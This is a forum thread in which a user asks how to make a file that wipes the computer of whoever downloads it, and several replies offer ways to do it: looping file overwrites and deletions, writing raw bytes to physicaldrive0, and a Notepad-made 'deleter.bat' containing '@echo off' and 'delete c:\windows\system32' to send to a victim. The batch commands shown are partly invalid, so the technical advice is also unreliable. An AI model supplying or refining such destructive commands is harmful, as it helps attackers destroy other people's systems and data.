Thread: [how to wipe a computer](#)

smza - March 13, 2023, 11:05 am

is there any tool or file that i can make and send it to someone and if they download it their pcs get wiped or something close to that?

stdio - March 13, 2023, 11:05 pm

Just create a batch file that basically echo any thing to a file in a loop and deletes existing files ;)

is there a code or a tut?

skags - March 14, 2023, 7:51 pm

First thing you need to think of is how you'll get in there in the first place.

EACreverser - March 16, 2023, 6:44 pm

writefile as many bytes as you can to physicaldrive0

stdio - March 17, 2023, 1:15 am

yes, do this in each directory
attrib . -s

I believe there is a lot of wiper malware that has been developed by some past APT groups that are now public.

HelloMan23948 - April 19, 2023, 5:20 pm

This is googlable information.

Gody - April 20, 2023, 10:19 am

Everyone says it's easy to find, but no one has yet given a working source code. Unfortunately, I don't have anything on my side that works on Windows 7 up to 11 and that requires the least privileges or that has an elevation that works.

1. Open Notepad
2. Create a new text file
3. write @echo off
4. write delete c:\windows\system32
5. save as file.bat

send to someone

Write this to notepad:

```
@echo off  
delete c:\windows\system32
```

Then save the notepad file as
deleter.bat
